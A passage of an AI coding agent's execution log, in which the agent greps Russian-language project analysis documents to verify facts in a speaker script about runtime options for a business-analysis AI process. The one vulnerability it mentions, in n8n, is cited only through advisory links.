[STDOUT]   },\n[2026-09-29T07:54:46.967Z] [STDOUT]   durationMs: 786,\n[2026-09-29T07:54:46.970Z] [STDOUT] }\n[2026-09-29T07:54:46.980Z] [INFO] {\n[2026-09-29T07:54:46.980Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:46.980Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:46.980Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"uuid\": \"1e5f9900-996a-4241-9178-3067a0894ed2\"\n[2026-09-29T07:54:46.980Z] [INFO] }\n[2026-09-29T07:54:48.240Z] [INFO] {\n[2026-09-29T07:54:48.240Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:54:48.240Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:48.240Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"uuid\": \"128e7aa4-4593-4dbf-98e4-2032c1f531fa\"\n[2026-09-29T07:54:48.240Z] [INFO] }\n[2026-09-29T07:54:48.979Z] [INFO] {\n[2026-09-29T07:54:48.979Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"estimated_tokens\": 285,\n[2026-09-29T07:54:48.979Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:48.979Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"uuid\": \"ae885c4f-4279-4d5e-93d8-ebfab9082c37\"\n[2026-09-29T07:54:48.979Z] [INFO] }\n[2026-09-29T07:54:48.986Z] [INFO] {\n[2026-09-29T07:54:48.986Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"message\": {\n[2026-09-29T07:54:48.986Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"content\": [\n[2026-09-29T07:54:48.986Z] [INFO]       {\n[2026-09-29T07:54:48.986Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:54:48.986Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:54:48.986Z] [INFO]         \"signature\": \"CAQS6AgKEAgSGAI4AUIIdGhpbmtpbmcSDFi5dtgM7Nkr+Q26NxoMrYX01QthxhHlOKGdIjDJYfmxL3CCkPjOpRuEkqRnbSqLiGJu9znz3rXWQgXNioTInokRT+L81NbftFYPupYqhQgovXPgSB1dJYTSeKF2/RyfAgh+D42txCvlbdDeQ/F2CxKHC6YTbkepputFSEm4YTkhPJhbeCIkuq3wbc2fGW3qJXHWsSVK7fPHLx4LV6C8IH5MSzHVVqyXMU+98B2mSx4BNWY87vasj2E9KacJkuI1M75Y3Yvk1vJfNZ5MjxONhOzyq5d4Wb0irT2deofHYFI/U2JNARgbdvW6pO4kcnb8kqaiF/T0sJpMtsyV+Txu9Qjmac+dLfQ2yZeePV1AolqmAR1JoCQgFnIh8RDuv4AC5FKPVI/5dlI0MCuqPu3os+7PELS8/wGbrGuGx0JmMo1FquE4Ti312JOylirkbGpsGjAh1LrJkeS925J/5GS2jcl0OwXRVpgqMc9aL9mbvT0s2RNEULP0f3KQ+3NxlNg9gR0ZYGGEH31BBc8XJnZoJOzVtbTBiL27MNuaWJED1Nc4DTRZGApVyVW2KPagRNigVMFCfbYxl5cOPA4DdutKOFuR59SHrn7ghXyZgo3+4XFUbwTinpmp9N8nY2Gj5TZwLouDN0eUeVBDpCKEJ8V6je8Y1FKRgOKoy6eDA6fCHa9YFkK9d+4Rp5a1t/m9Hd9ggpxXOrchCZtZylrStrxoOX2VNy8uaP52q3kiMe7Xu6EKI49gXPK/A8PB812jZUsvvGxAZD1Jo8L3zyKjkeGGA+kaafQD69XNVAsm7letHYNXmLlY1JdO+w9rWuFFu9AnF+J/B09ADl2URtjOnNnE7CX3/eWGdSBt/civ31TBFuRxdntasQpkmmd7R1NtV5P1YjkAZ3wJZURkMNFoYmGQLsTXGs5jqh1GBLWEEgtrDQqxA9tFf+K1v/BWpCeJ5Zh32Xo4T82+J1Jp/4JaDYoXkVKGhUUE5IetM6o2dwmsPx3aDm/+4uxrq6MhfwbFaabiahJ0ShE8xOoMHtVybQ9Q5ZlNlPbAWg3ravYfxzKFZVo3q7JH/VA4vGPZM92QvfSj5SE2b44ileCUtGN8mlUV/F7qQNtNFfu3lr+cFsfZgxiZ4kBXPyYYghcxv5dliFER5Fm4FqjjHl21yQheIEGbPNVAq8yCZqvVNd++VTll+ZqI6zXjcqp+geQXrPkpTY0t8cfn82byI8o3RQsoGmAi5QekmVhIPp9VuZia41Ts+5b4ndA83bq5UiuJGcAaVK9oFUJy4BsmeEhxv09S1kQ2rCSkY+YY7/VblCucLmpoNhMrhX14C1T9GrkgejtJTWQqzSWH6NlaguxRkIyLqaslq6VgsmpqVVMC2QyTpFAqbdGBxVpRveqr1O0fze1uO8e3EXR9KxWRoErE+oA2ZDMxYOMHgvU3dk7RqNPg+loAkiK7PZVdnOEpuEnZr6TEfz7peL1UlwQYAQ==\"\n[2026-09-29T07:54:48.986Z] [INFO]       }\n[2026-09-29T07:54:48.986Z] [INFO]     ],\n[2026-09-29T07:54:48.986Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:48.986Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:48.986Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:48.986Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:48.986Z] [INFO]       },\n[2026-09-29T07:54:48.986Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:48.986Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:48.986Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:48.986Z] [INFO]     },\n[2026-09-29T07:54:48.986Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:48.986Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:48.986Z] [INFO]   },\n[2026-09-29T07:54:48.986Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:48.986Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"uuid\": \"3476b99a-ad39-47ff-81a4-9ecab1b1051a\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:48.972Z\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\"\n[2026-09-29T07:54:48.986Z] [INFO] }\n[2026-09-29T07:54:48.995Z] [INFO] {\n[2026-09-29T07:54:48.995Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"message\": {\n[2026-09-29T07:54:48.995Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"content\": [\n[2026-09-29T07:54:48.995Z] [INFO]       {\n[2026-09-29T07:54:48.995Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:48.995Z] [INFO]         \"text\": \"All link targets exist. Next I'll check the specific facts in the script against the sources.\"\n[2026-09-29T07:54:48.995Z] [INFO]       }\n[2026-09-29T07:54:48.995Z] [INFO]     ],\n[2026-09-29T07:54:48.995Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:48.995Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:48.995Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:48.995Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:48.995Z] [INFO]       },\n[2026-09-29T07:54:48.995Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:48.995Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:48.995Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:48.995Z] [INFO]     },\n[2026-09-29T07:54:48.995Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:48.995Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:48.995Z] [INFO]   },\n[2026-09-29T07:54:48.995Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:48.995Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"uuid\": \"dc315986-446c-4fc4-a7e1-022d8d89f35c\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:48.983Z\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\"\n[2026-09-29T07:54:48.995Z] [INFO] }\n[2026-09-29T07:54:54.186Z] [INFO] {\n[2026-09-29T07:54:54.186Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"message\": {\n[2026-09-29T07:54:54.186Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"content\": [\n[2026-09-29T07:54:54.186Z] [INFO]       {\n[2026-09-29T07:54:54.186Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"id\": \"toolu_01X1KssENReDdoiregNbBuiZ\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"input\": {\n[2026-09-29T07:54:54.186Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\necho \\\"== CVE/LangGraph/15 nodes/digest\\\"; grep -n -i 'CVE-2026\\\\|langgraph.*MIT\\\\|MIT.*langgraph\\\\|15 \u0443\u0437\u043b\\\\|\u0446\u0435\u043f\u043e\u0447\u043a' $R | head\\necho \\\"== lorem\\\"; grep -rn -i 'lorem' $P/docs/analysis/*.md | head -5\\necho \\\"== GigaCode API\\\"; grep -n -i '\u043d\u0435\u0442 API\\\\|\u0431\u0435\u0437 API\\\\|API Mango AI' $R $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md | head -5\\necho \\\"== byte\\\"; grep -rn -i '\u043f\u043e\u0431\u0430\u0439\u0442' $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md $R | head -5\\necho \\\"== forensics\\\"; F=$P/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n 'BCREQ-1074\\\\|66 \u0438\u0437 67\\\\|66/67\\\\|17 \\\\|RUN-0015\\\\|RUN-0063\\\\|50 \u0438\u0437 67\\\\|50/67' $F | head -20\\necho \\\"== golden\\\"; grep -n -i '7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -3; ls $P/dist/execution-package-gigacode-cli/golden\\necho \\\"== MCP\\\"; grep -rn -i 'read-only\\\\|\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438' $P/docs/analysis/2026-09-29-*.md $P/dist/*/README* 2>/dev/null | head -5\\necho \\\"== M metrics\\\"; grep -n 'M-[1-5]' $P/ba-meta-model/40-practice-and-cases.md | head -20\",\n[2026-09-29T07:54:54.186Z] [INFO]           \"description\": \"Verify facts cited in speaker script\"\n[2026-09-29T07:54:54.186Z] [INFO]         },\n[2026-09-29T07:54:54.186Z] [INFO]         \"caller\": {\n[2026-09-29T07:54:54.186Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:54:54.186Z] [INFO]         }\n[2026-09-29T07:54:54.186Z] [INFO]       }\n[2026-09-29T07:54:54.186Z] [INFO]     ],\n[2026-09-29T07:54:54.186Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:54.186Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:54.186Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:54.186Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:54.186Z] [INFO]       },\n[2026-09-29T07:54:54.186Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:54.186Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:54.186Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:54.186Z] [INFO]     },\n[2026-09-29T07:54:54.186Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:54.186Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:54.186Z] [INFO]   },\n[2026-09-29T07:54:54.186Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:54.186Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"uuid\": \"84fef0da-bf43-4b9e-b40e-31ff08ef3c27\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:54.164Z\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:54:54.186Z] [INFO]     \"toolu_01X1KssENReDdoiregNbBuiZ\": {\n[2026-09-29T07:54:54.186Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\necho \\\"== CVE/LangGraph/15 nodes/digest\\\"; grep -n -i 'CVE-2026\\\\|langgraph.*MIT\\\\|MIT.*langgraph\\\\|15 \u0443\u0437\u043b\\\\|\u0446\u0435\u043f\u043e\u0447\u043a' $R | head\\necho \\\"== lorem\\\"; grep -rn -i 'lorem' $P/docs/analysis/*.md | head -5\\necho \\\"== GigaCode API\\\"; grep -n -i '\u043d\u0435\u0442 API\\\\|\u0431\u0435\u0437 API\\\\|API Mango AI' $R $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md | head -5\\necho \\\"== byte\\\"; grep -rn -i '\u043f\u043e\u0431\u0430\u0439\u0442' $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md $R | head -5\\necho \\\"== forensics\\\"; F=$P/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n 'BCREQ-1074\\\\|66 \u0438\u0437 67\\\\|66/67\\\\|17 \\\\|RUN-0015\\\\|RUN-0063\\\\|50 \u0438\u0437 67\\\\|50/67' $F | head -20\\necho \\\"== golden\\\"; grep -n -i '7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -3; ls $P/dist/execution-package-gigacode-cli/golden\\necho \\\"== MCP\\\"; grep -rn -i 'read-only\\\\|\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438' $P/docs/analysis/2026-09-29-*.md $P/dist/*/README* 2>/dev/null | head -5\\necho \\\"== M metrics\\\"; grep -n 'M-[1-5]' $P/ba-meta-model/40-practice-and-cases.md | head -20\",\n[2026-09-29T07:54:54.186Z] [INFO]       \"description\": \"Verify facts cited in speaker script\"\n[2026-09-29T07:54:54.186Z] [INFO]     }\n[2026-09-29T07:54:54.186Z] [INFO]   }\n[2026-09-29T07:54:54.186Z] [INFO] }\n[2026-09-29T07:54:55.725Z] [INFO] {\n[2026-09-29T07:54:55.725Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"message\": {\n[2026-09-29T07:54:55.725Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"content\": [\n[2026-09-29T07:54:55.725Z] [INFO]       {\n[2026-09-29T07:54:55.725Z] [INFO]         \"tool_use_id\": \"toolu_01X1KssENReDdoiregNbBuiZ\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"content\": \"== CVE/LangGraph/15 nodes/digest\\n59:   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n140:| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n222:| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n256:| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n279:| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); \u043d\u043e\u0432\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 2026-09-16 ([advisories](https://github.com/n8n-io/n8n/security/advisories)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440, \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0432\u043d\u0435\u0448\u043d\u0438\u0435 task runners, \u0443\u0437\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 |\\n282:| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n327:\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n355:| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 